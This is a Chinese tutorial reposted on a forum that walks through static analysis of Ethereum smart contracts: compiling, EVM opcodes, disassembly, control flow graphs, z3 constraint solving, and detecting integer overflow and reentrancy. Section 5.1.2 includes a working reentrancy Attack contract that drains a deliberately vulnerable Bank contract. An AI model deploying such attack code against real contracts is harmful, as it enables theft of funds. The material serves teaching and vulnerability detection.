    1.2.4 生成ABIsolc命令的—abi选项可以用来生成智能合约的ABI,同样还是最开始的智能合约代码进行演示。
    执行solc命令:
    solc --abi test.sol
    输出结果如下:
    ======= test.sol:Test =======Contract JSON ABI []可以看到生成的结果中ABI数组为空,因为我们的智能合约里并没有内容(没有变量声明,没有函数)。
    1.3 总结本章节主要介绍了编译环境的搭建、智能合约的字节码的结构组成以及solc命令的常见用法(生成字节码,生成汇编代码,生成abi)。在下一章中,我们将对生成的汇编代码做深入的分析。
    第二章 智能合约汇编指令分析本章是智能合约静态分析的第二章,在第一章中我们简单演示了如何通过solc命令生成智能合约的汇编代码,在本章中我们将对智能合约编译后的汇编代码进行深入分析,以及通过evm命令对编译生成的字节码进行反编译。
    2.1 以太坊中的汇编指令为了让大家更好的理解汇编指令,我们先简单介绍下以太坊虚拟机EVM的存储结构,熟悉Java虚拟机的同学可以把EVM和JVM进行对比学习。
    2.1.1 以太坊虚拟机EVM编程语言虚拟机一般有两种类型,基于栈,或者基于寄存器。和JVM一样,EVM也是基于栈的虚拟机。
    既然是支持栈的虚拟机,那么EVM肯定首先得有个栈。为了方便进行密码学计算,EVM采用了32字节(256比特)的字长。EVM栈以字(Word)为单位进行操作,最多可以容纳1024个字。下面是EVM栈的示意图:

    2.1.2 以太坊的汇编指令集和JVM一样,EVM执行的也是字节码。由于操作码被限制在一个字节以内,所以EVM指令集最多只能容纳256条指令。目前EVM已经定义了约142条指令,还有100多条指令可供以后扩展。这142条指令包括算术运算指令,比较操作指令,按位运算指令,密码学计算指令,栈、memory、storage操作指令,跳转指令,区块、智能合约相关指令等。下面是已经定义的EVM操作码分布图[1](灰色区域是目前还没有定义的操作码)

    下面的表格中总结了常用的汇编指令:



    操作码
    汇编指令
    描述




    0x00
    STOP
    结束指令


    0x01
    ADD
    把栈顶的两个值出栈,相加后把结果压入栈顶


    0x02
    MUL
    把栈顶的两个值出栈,相乘后把结果压入栈顶


    0x03
    SUB
    从栈中依次出栈两个值arg0和arg1,用arg0减去arg1,再把结果压入栈顶


    0x10
    LT
    把栈顶的两个值出栈,如果先出栈的值小于后出栈的值则把1入栈,反之把0入栈


    0x11
    GT
    和LT类似,如果先出栈的值大于后出栈的值则把1入栈,反之把0入栈


    0x14
    EQ
    把栈顶的两个值出栈,如果两个值相等则把1入栈,否则把0入栈


    0x15
    ISZERO
    把栈顶值出栈,如果该值是0则把1入栈,否则把0入栈


    0x34
    CALLVALUE
    获取交易中的转账金额


    0x35
    CALLDATALOAD
    获取交易中的input字段的值


    0x36
    CALLDATASIZE
    获取交易中input字段的值的长度


    0x50
    POP
    把栈顶值出栈


    0x51
    MLOAD
    把栈顶出栈并以该值作为内存中的索引,加载内存中该索引之后的32字节到栈顶


    0x52
    MSTORE
    从栈中依次出栈两个值arg0和arg1,并把arg1存放在内存的arg0处


    0x54
    SLOAD
    把栈顶出栈并以该值作为storage中的索引,加载该索引对应的值到栈顶


    0x55
    SSTORE
    从栈中依次出栈两个值arg0和arg1,并把arg1存放在storage的arg0处


    0x56
    JUMP
    把栈顶值出栈,并以此值作为跳转的目的地址


    0x57
    JUMPI
    从栈中依次出栈两个值arg0和arg1,如果arg1的值为真则跳转到arg0处,否则不跳转


    0x60
    PUSH1
    把1个字节的数值放入栈顶


    0x61
    PUSH2
    把2个字节的数值放入栈顶


    0x80
    DUP1
    复制当前栈中第一个值到栈顶


    0x81
    DUP2
    复制当前栈中第二个值到栈顶


    0x90
    SWAP1
    把栈中第一个值和第二个值进行调换


    0x91
    SWAP2
    把栈中第一个值和第三个值进行调换



    2.2 智能合约汇编分析在第一章中,为了便于入门,我们分析的智能合约文件并不包含实质的内容。在本章中我们以一个稍微复杂的智能合约为例进行分析。智能合约(保存在test.sol文件中)代码如下:
    pragma solidity ^0.4.25;contract Overflow { uint private sellerBalance=0; function add(uint value) returns (bool, uint){ sellerBalance += value; assert(sellerBalance >= value); }}
    2.2.1 生成汇编代码执行solc命令:
    solc --asm --optimize test.sol
    其中—optimize选项用来开启编译优化。
    输出的结果如下:
    EVM assembly:... */ "test.sol":26:218 contract Overflow { mstore(0x40, 0x80) /* "test.sol":78:79 0 */ 0x0 /* "test.sol":51:79 uint private sellerBalance=0 */ dup1 sstore... */ "test.sol":26:218 contract Overflow { callvalue /* "--CODEGEN--":8:17 */ dup1 /* "--CODEGEN--":5:7 */ iszero tag_1 jumpi /* "--CODEGEN--":30:31 */ 0x0 /* "--CODEGEN--":27:28 */ dup1 /* "--CODEGEN--":20:32 */ revert /* "--CODEGEN--":5:7 */tag_1:... */ "test.sol":26:218 contract Overflow { pop dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 returnstopsub_0: assembly {... */ /* "test.sol":26:218 contract Overflow { mstore(0x40, 0x80) jumpi(tag_1, lt(calldatasize, 0x4)) and(div(calldataload(0x0), 0x100000000000000000000000000000000000000000000000000000000), 0xffffffff) 0x1003e2d2 dup2 eq tag_2 jumpi tag_1: 0x0 dup1 revert... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){ tag_2: callvalue /* "--CODEGEN--":8:17 */ dup1 /* "--CODEGEN--":5:7 */ iszero tag_3 jumpi /* "--CODEGEN--":30:31 */ 0x0 /* "--CODEGEN--":27:28 */ dup1 /* "--CODEGEN--":20:32 */ revert /* "--CODEGEN--":5:7 */ tag_3: pop... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){ tag_4 calldataload(0x4) jump(tag_5) tag_4: /* 省略部分代码 */ tag_5: /* "test.sol":122:126 bool */ 0x0 /* "test.sol":144:166 sellerBalance += value */ dup1 sload dup3 add dup1 dup3 sstore /* "test.sol":122:126 bool */ dup2 swap1 /* "test.sol":184:206 sellerBalance >= value */ dup4 gt iszero /* "test.sol":177:207 assert(sellerBalance >= value) */ tag_7 jumpi invalid tag_7:... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){ swap2 pop swap2 jump // out auxdata: 0xa165627a7a7230582067679f8912e58ada2d533ca0231adcedf3a04f22189b53c93c3d88280bb0e2670029}
    回顾第一章我们得知,智能合约编译生成的汇编指令分为三部分:EVM assembly标签下的汇编指令对应的是部署代码;sub_0标签下的汇编指令对应的是runtime代码,是智能合约部署后真正运行的代码。
    2.2.2 分析汇编代码接下来我们从sub_0标签的入口开始,一步步地进行分析:

    最开始处执行mstore(0x40, 0x80)指令,把0x80存放在内存的0x40处。第二步执行jumpi指令,在跳转之前要先通过calldatasize指令用来获取本次交易的input字段的值的长度。如果该长度小于4字节则是一个非法调用,程序会跳转到tag_1标签下。如果该长度大于4字节则顺序向下执行。接下来是获取交易的input字段中的函数签名。如果input字段中的函数签名等于”0x1003e2d2”,则EVM跳转到tag_2标签下执行,否则不跳转,顺序向下执行tag_1。ps:使用web3.sha3(“add(uint256)”)可以计算智能合约中add函数的签名,计算结果为0x1003e2d21e48445eba32f76cea1db2f704e754da30edaf8608ddc0f67abca5d0,之后取前四字节”0x1003e2d2”作为add函数的签名。在tag_2标签中,首先执行callvalue指令,该指令获取交易中的转账金额,如果金额是0,则执行接下来的jumpi指令,就会跳转到tag_3标签。ps:因为add函数没有payable修饰,导致该函数不能接受转账,所以在调用该函数时会先判断交易中的转账金额是不是0。在tag_3标签中,会把tag_4标签压入栈,作为函数调用完成后的返回地址,同时calldataload(0x4)指令会把交易的input字段中第4字节之后的32字节入栈,之后跳转到tag_5标签中继续执行。在tag_5标签中,会执行add函数中的所有代码,包括对变量sellerBalance进行赋值以及比较变量sellerBalance和函数参数的大小。如果变量sellerBalance的值大于函数参数,接下来会执行jumpi指令跳转到tag_7标签中,否则执行invalid,程序出错。在tag_7标签中,执行两次swap2和一次pop指令后,此时的栈顶是tag_4标签,即函数调用完成后的返回地址。接下来的jump指令会跳转到tag_4标签中执行,add函数的调用就执行完毕了。
    2.3 智能合约字节码的反编译在第一章中,我们介绍了go-ethereum的安装,安装完成后我们在命令行中就可以使用evm命令了。下面我们使用evm命令对智能合约字节码进行反编译。
    需要注意的是,由于智能合约编译后的字节码分为部署代码、runtime代码和auxdata三部分,但是部署后真正执行的是runtime代码,所以我们只需要反编译runtime代码即可。还是以本章开始处的智能合约为例,执行solc —asm —optimize test.sol 命令,截取字节码中的runtime代码部分:
    608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631003e2d281146043575b600080fd5b348015604e57600080fd5b5060586004356073565b60408051921515835260208301919091528051918290030190f35b6000805482018082558190831115608657fe5b9150915600把这段代码保存在某个文件中,比如保存在test.bytecode中。
    接下来执行反编译命令:
    evm disasm test.bytecode
    得到的结果如下:
    00000: PUSH1 0x8000002: PUSH1 0x4000004: MSTORE00005: PUSH1 0x0400007: CALLDATASIZE00008: LT00009: PUSH1 0x3e0000b: JUMPI0000c: PUSH4 0xffffffff00011: PUSH29 0x01000000000000000000000000000000000000000000000000000000000002f: PUSH1 0x0000031: CALLDATALOAD00032: DIV00033: AND00034: PUSH4 0x1003e2d200039: DUP20003a: EQ0003b: PUSH1 0x430003d: JUMPI0003e: JUMPDEST0003f: PUSH1 0x0000041: DUP100042: REVERT00043: JUMPDEST00044: CALLVALUE00045: DUP100046: ISZERO00047: PUSH1 0x4e00049: JUMPI0004a: PUSH1 0x000004c: DUP10004d: REVERT0004e: JUMPDEST0004f: POP00050: PUSH1 0x5800052: PUSH1 0x0400054: CALLDATALOAD00055: PUSH1 0x7300057: JUMP00058: JUMPDEST00059: PUSH1 0x400005b: DUP10005c: MLOAD0005d: SWAP30005e: ISZERO0005f: ISZERO00060: DUP400061: MSTORE00062: PUSH1 0x2000064: DUP400065: ADD00066: SWAP200067: SWAP100068: SWAP200069: MSTORE0006a: DUP10006b: MLOAD0006c: SWAP20006d: DUP30006e: SWAP10006f: SUB00070: ADD00071: SWAP100072: RETURN00073: JUMPDEST00074: PUSH1 0x0000076: DUP100077: SLOAD00078: DUP300079: ADD0007a: DUP10007b: DUP30007c: SSTORE0007d: DUP20007e: SWAP10007f: DUP400080: GT00081: ISZERO00082: PUSH1 0x8600084: JUMPI00085: Missing opcode 0xfe00086: JUMPDEST00087: SWAP200088: POP00089: SWAP20008a: JUMP0008b: STOP
    接下来我们把上面的反编译代码和2.1节中生成的汇编代码进行对比分析。
    2.3.1 分析反编译代码
    反编译代码的00000到0003d行,对应的是汇编代码中sub_0标签到tag_1标签之间的代码。MSTORE指令把0x80存放在内存地址0x40地址处。接下来的LT指令判断交易的input字段的值的长度是否小于4,如果小于4,则之后的JUMPI指令就会跳转到0x3e地址处。对比本章第二节中生成的汇编代码不难发现,0x3e就是tag_1标签的地址。接下来的指令获取input字段中的函数签名,如果等于0x1003e2d2则跳转到0x43地址处。0x43就是汇编代码中tag_2标签的地址。反编译代码的0003e到00042行,对应的是汇编代码中tag_1标签内的代码。反编译代码的00043到0004d行,对应的是汇编代码中tag_2标签内的代码。0x43地址对应的指令是JUMPDEST,该指令没有实际意义,只是起到占位的作用。接下来的CALLVALUE指令获取交易中的转账金额,如果金额是0,则执行接下来的JUMPI指令,跳转到0x4e地址处。0x4e就是汇编代码中tag_3标签的地址。反编译代码的0004e到00057行,对应的是汇编代码中tag_3标签内的代码。0x4e地址对应的指令是JUMPDEST。接下来的PUSH1 0x58指令,把0x58压入栈,作为函数调用完成后的返回地址。之后的JUMP指令跳转到0x73地址处。0x73就是汇编代码中tag_5标签的地址。反编译代码的00058到00072行,对应的是汇编代码中tag_4标签内的代码。反编译代码的00073到00085行,对应的是汇编代码中tag_5标签内的代码。0x73地址对应的指令是JUMPDEST,之后的指令会执行add函数中的所有代码。如果变量sellerBalance的值大于函数参数,接下来会执行JUMPI指令跳转到0x86地址处,否则顺序向下执行到0x85地址处。这里有个需要注意的地方,在汇编代码中此处显示invalid,但在反编译代码中,此处显示Missing opcode 0xfe。反编译代码的00086到0008a行,对应的是汇编代码中tag_7标签内的代码。0008b行对应的指令是STOP,执行到此处时整个流程结束。
    2.4 总结本章首先介绍了EVM的存储结构和以太坊中常用的汇编指令。之后逐行分析了智能合约编译后的汇编代码,最后反编译了智能合约的字节码,把反编译的代码和汇编代码做了对比分析。相信读完本章之后,大家基本上能够看懂智能合约的汇编代码和反编译后的代码。在下一章中,我们将介绍如何从智能合约的反编译代码中生成控制流图(control flow graph)。
    第三章 从反编译代码构建控制流图本章是智能合约静态分析的第三章,第二章中我们生成了反编译代码,本章我们将从这些反编译代码出发,一步一步的构建控制流图。
    3.1 控制流图的概念3.1.1 基本块(basic block)基本块是一个最大化的指令序列,程序执行只能从这个序列的第一条指令进入,从这个序列的最后一条指令退出。
    构建基本块的三个原则:

    遇到程序、子程序的第一条指令或语句,结束当前基本块,并将该语句作为一个新块的第一条语句。
    遇到跳转语句、分支语句、循环语句,将该语句作为当前块的最后一条语句,并结束当前块。
    遇到其他语句直接将其加入到当前基本块。

    3.1.2 控制流图(control flow graph)控制流图是以基本块为结点的有向图G=(N, E),其中N是结点集合,表示程序中的基本块;E是结点之间边的集合。如果从基本块P的出口转向基本块块Q,则从P到Q有一条有向边P->Q,表示从结点P到Q存在一条可执行路径,P为Q的前驱结点,Q为P的后继结点。也就代表在执行完结点P中的代码语句后,有可能顺序执行结点Q中的代码语句[2]。
    3.2 构建基本块控制流图是由基本块和基本块之间的边构成,所以构建基本块是控制流图的前提。接下来我们以反编译代码作为输入,分析如何构建基本块。
    第二章中的反编译代码如下:
    00000: PUSH1 0x8000002: PUSH1 0x4000004: MSTORE00005: PUSH1 0x0400007: CALLDATASIZE00008: LT00009: PUSH1 0x3e0000b: JUMPI0000c: PUSH4 0xffffffff00011: PUSH29 0x01000000000000000000000000000000000000000000000000000000000002f: PUSH1 0x0000031: CALLDATALOAD00032: DIV00033: AND00034: PUSH4 0x1003e2d200039: DUP20003a: EQ0003b: PUSH1 0x430003d: JUMPI0003e: JUMPDEST0003f: PUSH1 0x0000041: DUP100042: REVERT00043: JUMPDEST00044: CALLVALUE00045: DUP100046: ISZERO00047: PUSH1 0x4e00049: JUMPI0004a: PUSH1 0x000004c: DUP10004d: REVERT0004e: JUMPDEST0004f: POP00050: PUSH1 0x5800052: PUSH1 0x0400054: CALLDATALOAD00055: PUSH1 0x7300057: JUMP00058: JUMPDEST00059: PUSH1 0x400005b: DUP10005c: MLOAD0005d: SWAP30005e: ISZERO0005f: ISZERO00060: DUP400061: MSTORE00062: PUSH1 0x2000064: DUP400065: ADD00066: SWAP200067: SWAP100068: SWAP200069: MSTORE0006a: DUP10006b: MLOAD0006c: SWAP20006d: DUP30006e: SWAP10006f: SUB00070: ADD00071: SWAP100072: RETURN00073: JUMPDEST00074: PUSH1 0x0000076: DUP100077: SLOAD00078: DUP300079: ADD0007a: DUP10007b: DUP30007c: SSTORE0007d: DUP20007e: SWAP10007f: DUP400080: GT00081: ISZERO00082: PUSH1 0x8600084: JUMPI00085: Missing opcode 0xfe00086: JUMPDEST00087: SWAP200088: POP00089: SWAP20008a: JUMP0008b: STOP
    我们从第一条指令开始分析构建基本块的过程。00000地址处的指令是程序的第一条指令,根据构建基本块的第一个原则,将其作为新的基本块的第一条指令;0000b地址处是一条跳转指令,根据构建基本块的第二个原则,将其作为新的基本块的最后一条指令。这样我们就把从地址00000到0000b的代码构建成一个基本块,为了之后方便描述,把这个基本块命名为基本块1。
    接下来0000c地址处的指令,我们作为新的基本块的第一条指令。0003d地址处是一条跳转指令,根据构建基本块的第二个原则,将其作为新的基本块的最后一条指令。于是从地址0000c到0003d就构成了一个新的基本块,我们把这个基本块命名为基本块2。
    以此类推,我们可以遵照构建基本块的三个原则构建起所有的基本块。构建完成后的基本块如下图所示:

    图中的每一个矩形是一个基本块,矩形的右半部分是为了后续描述方便而对基本块的命名(当然你也可以命名成自己喜欢的名字)。矩形的左半部分是基本块所包含的指令的起始地址和结束地址。当所有的基本块都构建完成后,我们就把之前的反编译代码转化成了11个基本块。接下来我们将构建基本块之间的边。
    3.3 构建基本块之间的边简单来说,基本块之间的边就是基本块之间的跳转关系。以基本块1为例,其最后一条指令是条件跳转指令,如果条件成立就跳转到基本块3,否则就跳转到基本块2。所以基本块1就存在基本块1->基本块2和基本块1->基本块3两条边。基本块6的最后一条指令是跳转指令,该指令会直接跳转到基本块8,所以基本块6就存在基本块6->基本块8这一条边。
    结合反编译代码和基本块的划分,我们不难得出所有边的集合E:
    { '基本块1': ['基本块2','基本块3'], '基本块2': ['基本块3','基本块4'], '基本块3': ['基本块11'], '基本块4': ['基本块5','基本块6'], '基本块5': ['基本块11'], '基本块6': ['基本块8'], '基本块7': ['基本块8'], '基本块8': ['基本块9','基本块10'], '基本块9': ['基本块11'], '基本块10': ['基本块7']}
    我们把边的集合E用python中的dict类型表示,dict中的key是基本块,key对应的value值是一个list。还是以基本块1为例,因为基本块1存在基本块1->基本块2和基本块1->基本块3两条边,所以’基本块1’对应的list值为[‘基本块2’,’基本块3’]。
    3.4 构建控制流图在前两个小节中我们构建完成了基本块和边,到此构建控制流图的准备工作都已完成,接下来我们就要把基本块和边整合在一起,绘制完整的控制流图。

    上图就是完整的控制流图,从图中我们可以清晰直观的看到基本块之间的跳转关系,比如基本块1是条件跳转,根据条件是否成立跳转到不同的基本块,于是就形成了两条边。基本块2和基本块1类似也是条件跳转,也会形成两条边。基本块6是直接跳转,所以只会形成一条边。
    在该控制流图中,只有一个起始块(基本块1)和一个结束块(基本块11)。当流程走到基本块11的时候,表示整个流程结束。需要指出的是,基本块11中只包含一条指令STOP。
    3.5 总结本章先介绍了控制流图中的基本概念,之后根据基本块的构建原则完成所有基本块的构建,接着结合反编译代码分析了基本块之间的跳转关系,画出所有的边。当所有的准备工作完成后,最后绘制出控制流图。在下一章中,我们将对构建好的控制流图,采用z3对其进行约束求解。
    第四章 从控制流图开始约束求解在本章中我们将使用z3对第三章中生成的控制流图进行约束求解。z3是什么,约束求解又是什么呢?下面将会给大家一一解答。

    约束求解:求出能够满足所有约束条件的每个变量的值。z3:z3是由微软公司开发的一个优秀的约束求解器,用它能求解出满足约束条件的变量的值。
    从3.4节的控制流图中我们不难发现,图中用菱形表示的跳转条件左右着基本块跳转的方向。如果我们用变量表示跳转条件中的输入数据,再把变量组合成数学表达式,此时跳转条件就转变成了约束条件,之后我们借助z3对约束条件进行求解,根据求解的结果我们就能判断出基本块的跳转方向,如此一来我们就能模拟整个程序的执行。
    接下来我们就从z3的基本使用开始,一步一步的完成对所有跳转条件的约束求解。
    4.1 z3的使用我们以z3的python实现z3py为例介绍z3是如何使用的[3]。
    4.1.1 基本用法from z3 import *x = Int('x')y = Int('y')solve(x > 2, y < 10, x + 2*y == 7)
    在上面的代码中,函数Int(‘x’)在z3中创建了一个名为x的变量,之后调用了solve函数求在三个约束条件下的解,这三个约束条件分别是x > 2, y < 10, x + 2*y == 7,运行上面的代码,输出结果为:
    [y = 0, x = 7]
    实际上满足约束条件的解不止一个,比如[y=1,x=5]也符合条件,但是z3在默认情况下只寻找满足约束条件的一组解,而不是找出所有解。
    4.1.2 布尔运算from z3 import *p = Bool('p')q = Bool('q')r = Bool('r')solve(Implies(p, q), r == Not(q), Or(Not(p), r))
    上面的代码演示了z3如何求解布尔约束,代码的运行结果如下:
    [q = False, p = False, r = True]
    4.1.3 位向量在z3中我们可以创建固定长度的位向量,比如在下面的代码中BitVec(‘x’, 16)创建了一个长度为16位,名为x的变量。
    from z3 import *x = BitVec('x', 16)y = BitVec('y', 16)solve(x + y > 5)
    在z3中除了可以创建位向量变量之外,也可以创建位向量常量。下面代码中的BitVecVal(-1, 16)创建了一个长度为16位,值为1的位向量常量。
    from z3 import *a = BitVecVal(-1, 16)b = BitVecVal(65535, 16)print simplify(a == b)
    4.1.4 求解器from z3 import *x = Int('x')y = Int('y')s = Solver()s.add(x > 10, y == x + 2)print sprint s.check()
    在上面代码中,Solver()创建了一个通用的求解器,之后调用add()添加约束,调用check()判断是否有满足约束的解。如果有解则返回sat,如果没有则返回unsat。
    4.2 使用z3进行约束求解对于智能合约而言,当执行到CALLDATASIZE、CALLDATALOAD等指令时,表示程序要获取外部的输入数据,此时我们用z3中的BitVec函数创建一个位向量变量来代替输入数据;当执行到LT、EQ等指令时,此时我们用z3创建一个类似If(ULE(xx,xx), 0, 1)的表达式。
    4.2.1 生成数学表达式接下来我们以3.2节中的基本块1为例,看看如何把智能合约的指令转换成数学表达式。
    在开始转换之前,我们先来模拟下以太坊虚拟机的运行环境。我们用变量stack=[]来表示以太坊虚拟机的栈,用变量memory={}来表示以太坊虚拟机的内存,用变量storage={}来表示storage。
    基本块1为例的指令码如下:
    00000: PUSH1 0x8000002: PUSH1 0x4000004: MSTORE00005: PUSH1 0x0400007: CALLDATASIZE00008: LT00009: PUSH1 0x3e0000b: JUMPI

    PUSH指令是入栈指令,执行两次入栈后,stack的值为[0x80,0x40]
    MSTORE执行之后,stack为空,memory的值为{0x40:0x80}
    CALLDATASIZE指令表示要获取输入数据的长度,我们使用z3中的BitVec(“Id_size”,256),生成一个长度为256位,名为Id_size的变量来表示此时输入数据的长度。
    LT指令用来比较0x04和变量Id_size的大小,如果0x04小于变量Id_size则值为0,否则值为1。使用z3转换成表达式则为:If(ULE(4, Id_size), 0, 1)
    JUMPI是条件跳转指令,是否跳转到0x3e地址处取决于上一步中LT指令的结果,即表达式If(ULE(4, Id_size), 0, 1)的结果。如果结果不为0则跳转,否则不跳转,使用z3转换成表达式则为:If(ULE(4, Id_size), 0, 1) != 0

    至此,基本块1中的指令都已经使用z3转换成数学表达式。
    4.2.2 执行数学表达式执行上一节中生成的数学表达式的伪代码如下所示:
    from z3 import *Id_size = BitVec("Id_size",256)exp = If(ULE(4, Id_size), 0, 1) != 0solver = Solver()solver.add(exp)if solver.check() == sat: print "jump to BasicBlock3"else: print "error "
    在上面的代码中调用了solver的check()方法来判断此表达式是否有解,如果返回值等于sat则表示表达式有解,也就是说LT指令的结果不为0,那么接下来就可以跳转到基本块3。
    观察3.4节中的控制流图我们得知,基本块1之后有两条分支,如果满足判断条件则跳转到基本块3,不满足则跳转到基本块2。但在上面的代码中,当check()方法的返回值不等于sat时,我们并没有跳转到基本块2,而是直接输出错误,这是因为当条件表达式无解时,继续向下执行没有任何意义。那么如何才能执行到基本块2呢,答案是对条件表达式取反,然后再判断取反后的表达式是否有解,如果有解则跳转到基本块2执行。伪代码如下所示:
    Id_size = BitVec("Id_size",256)exp = If(ULE(4, Id_size), 0, 1) != 0negated_exp = Not(If(ULE(4, Id_size), 0, 1) != 0)solver = Solver()solver.push()solver.add(exp)if solver.check() == sat: print "jump to BasicBlock3"else: print "error"solver.pop()solver.push()solver.add(negated_exp)if solver.check() == sat: print "falls to BasicBlock2"else: print "error"
    在上面代码中,我们使用z3中的Not函数,对之前的条件表达式进行取反,之后调用check()方法判断取反后的条件表达式是否有解,如果有解就执行基本块2。
    4.3 总结本章首先介绍了z3的基本用法,之后以基本块1为例,分析了如何使用z3把指令转换成表达式,同时也分析了如何对转换后的表达式进行约束求解。在下一章中我们将会介绍如何在约束求解的过程中加入对智能合约漏洞的分析,精彩不容错过。
    第五章 常见的智能合约漏洞以及检测方法在本章中,我们首先会介绍智能合约中常见的漏洞,之后会分析检测这些漏洞的方法。
    5.1 智能合约中常见的漏洞5.1.1 整数溢出漏洞我们以8位无符号整数为例分析溢出产生的原因,如下图所示,最大的8位无符号整数是255,如果此时再加1就会变为0。

    Solidity语言支持从uint8到uint256,uint256的取值范围是0到2^256-1。如果某个uint256变量的值为2^256-1,那么这个变量再加1就会发生溢出,同时该变量的值变为0。
    pragma solidity ^0.4.20;contract Test { function overflow() public pure returns (uint256 _overflow) { uint256 max = 2**256-1; return max + 1; }}
    上面的合约代码中,变量max的值为2^256-1,是uint256所能表示的最大整数,如果再加1就会产生溢出,max的值变为0。
    5.1.2 重入漏洞当智能合约向另一个智能合约转账时,后者的fallback函数会被调用。如果fallback函数中存在恶意代码,那么恶意代码会被执行,这就是重入漏洞产生的前提。那么重入漏洞在什么情况下会发生呢,下面我们以一个存在重入漏洞的智能合约为例进行分析。
    pragma solidity ^0.4.20;contract Bank { address owner; mapping (address => uint256) balances; constructor() public payable{ owner = msg.sender; } function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw(address receiver, uint256 amount) public{ require(balances[msg.sender] > amount); require(address(this).balance > amount); // 使用 call.value()()进行ether转币时,没有Gas限制 receiver.call.value(amount)(); balances[msg.sender] -= amount; } function balanceOf(address addr) public view returns (uint256) { return balances[addr]; }}contract Attack { address owner; address victim; constructor() public payable { owner = msg.sender; } function setVictim(address target) public{ victim = target; } function step1(uint256 amount) public payable{ if (address(this).balance > amount) { victim.call.value(amount)(bytes4(keccak256("deposit()"))); } } function step2(uint256 amount) public{ victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount); } // selfdestruct, send all balance to owner function stopAttack() public{ selfdestruct(owner); } function startAttack(uint256 amount) public{ step1(amount); step2(amount / 2); } function () public payable { if (msg.sender == victim) { // 再次尝试调用Bank合约的withdraw函数,递归转币 victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value); } }}
    在上面的代码中,智能合约Bank是存在重入漏洞的合约,其内部的withdraw()方法使用了call方法进行转账,使用该方法转账时没有gas限制。 智能合约Attack是个恶意合约,用来对存在重入的智能合约Bank进行攻击。攻击流程如下:

    Attack先给Bank转币
    Bank在其内部的账本balances中记录Attack转币的信息
    Attack要求Bank退币
    Bank先退币再修改账本balances

    问题就出在Bank是先退币再去修改账本balances。因为Bank退币的时候,会触发Attack的fallback函数,而Attack的fallback函数中会再次执行退币操作,如此递归下去,Bank没有机会进行修改账本的操作,最后导致Attack会多次收到退币。
    5.2 漏洞的检测方法5.2.1 整数溢出漏洞的检测通过约束求解可以很容易的发现智能合约中的整数溢出漏洞,下面我们就通过一个具体的例子一步步的分析。
    首先对5.1.1节中的智能合约进行反编译,得到的部分反编译代码如下:
    000108: PUSH1 0x00000110: DUP1000111: PUSH32 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000144: SWAP1000145: POP000146: PUSH1 0x01000148: DUP2000149: ADD000150: SWAP2000151: POP000152: POP000153: SWAP1000154: JUMP
    这段反编译后的代码对应的是智能合约中的overflow函数,第000149行的ADD指令对应的是函数中max + 1这行代码。ADD指令会把栈顶的两个值出栈,相加后把结果压入栈顶。下面我们就通过一段伪代码来演示如何检测整数溢出漏洞:
    def checkOverflow(): first = stack.pop(0) second = stack.pop(0) first = BitVecVal(first, 256) second = BitVecVal(second, 256) computed = first + second solver.add(UGT(first, computed)) if check_sat(solver) == sat: print "have overflow"
    我们先把栈顶的两个值出栈,然后使用z3中BitVecVal()函数的把这两个值转变成位向量常量,接着计算两个位向量常量相加的结果,最后构建表达式UGT(first, computed)来判断加数是否大于相加的结果,如果该表达式有解则说明会发生整数溢出[4]。
    5.2.2 重入漏洞的检测在分析重入漏洞之前,我们先来总结在智能合约中用于转账的方法:

    address.transfer(amount): 当发送失败时会抛出异常,只会传递2300Gas供调用,可以防止重入漏洞
    address.send(amount): 当发送失败时会返回false,只会传递2300Gas供调用,可以防止重入漏洞
    address.gas(gas_value).call.value(amount)(): 当发送失败时会返回false,传递所有可用Gas进行调用(可通过 gas(gas_value) 进行限制),不能有效防止重入

    通过以上对比不难发现,transfer(amount)和send(amount)限制Gas最多为2300,使用这两个方法转账可以有效地防止重入漏洞。call.value(amount)()默认不限制Gas的使用,这就会很容易导致重入漏洞的产生。既然call指令是产生重入漏洞的原因所在,那么接下来我们就详细分析这条指令。
    call指令有七个参数,每个参数的含义如下所示:
    call(gas, address, value, in, insize, out, outsize)

    第一个参数是指定的gas限制,如果不指定该参数,默认不限制。
    第二个参数是接收转账的地址
    第三个参数是转账的金额
    第四个参数是输入给call指令的数据在memory中的起始地址
    第五个参数是输入的数据的长度
    第六个参数是call指令输出的数据在memory中的起始地址
    第七个参数是call指令输出的数据的长度

    通过以上的分析,总结下来我们可以从以下两个维度去检测重入漏洞:

    判断call指令第一个参数的值,如果没有设置gas限制,那么就有产生重入漏洞的风险
    检查call指令之后,是否还有其他的操作

    第二个维度中提到的call指令之后是否还有其他操作,是如何可以检测到重入漏洞的呢?接下来我们就详细分析下。在5.1.2节中的智能合约Bank是存在重入漏洞的,根本原因就是使用call指令进行转账没有设置Gas限制,同时在withdraw方法中先退币再去修改账本balances,关键代码如下:
    receiver.call.value(amount)();balances[msg.sender] -= amount;
    执行call指令的时候,会触发Attack中的fallback函数,而Attack的fallback函数中会再次执行退币操作,如此递归下去,导致Bank无法执行接下来的修改账本balances的操作。此时如果我们对代码做出如下调整,先修改账本balances,之后再去调用call指令,虽然也还会触发Attack中的fallback函数,Attack的fallback函数中也还会再次执行退币操作,但是每次退币操作都是先修改账本balances,所以Attack只能得到自己之前存放在Bank中的币,重入漏洞不会发生。
    balances[msg.sender] -= amount;receiver.call.value(amount)();
    总结本文的第一章介绍了智能合约编译环境的搭建以及编译器的使用,第二章讲解了常用的汇编指令并且对反编译后的代码进行了逐行的分析。前两章都是基本的准备工作,从第三章开始,我们使用之前的反编译代码,构建了完整的控制流图。第四章中我们介绍了z3的用法以及如何把控制流图中的基本块中的指令用z3转换成数学表达式。第五章中我们通过整数溢出和重入漏洞的案例,详细分析了如何在约束求解的过程中检测智能合约中的漏洞。最后,希望读者在阅读本文后能有所收获,如有不足之处欢迎指正。
    参考
    https://blog.csdn.net/zxhoo/article/details/81865629
    http://cc.jlu.edu.cn/G2S/Template/View.aspx
    https://ericpony.github.io/z3py-tutorial/guide-examples.htm
    https://github.com/melonproject/oyente

    本文转载自(原文链接):
    https://blogs.360.cn/post/staticAnalysis_of_smartContract.html
    2 留言 2020-05-07 11:09:27 奖励36点积分
  • HTTP:超文本传输协议

    概念
    HTTP == Hyper Text Transfer Protocol超文本传输协议

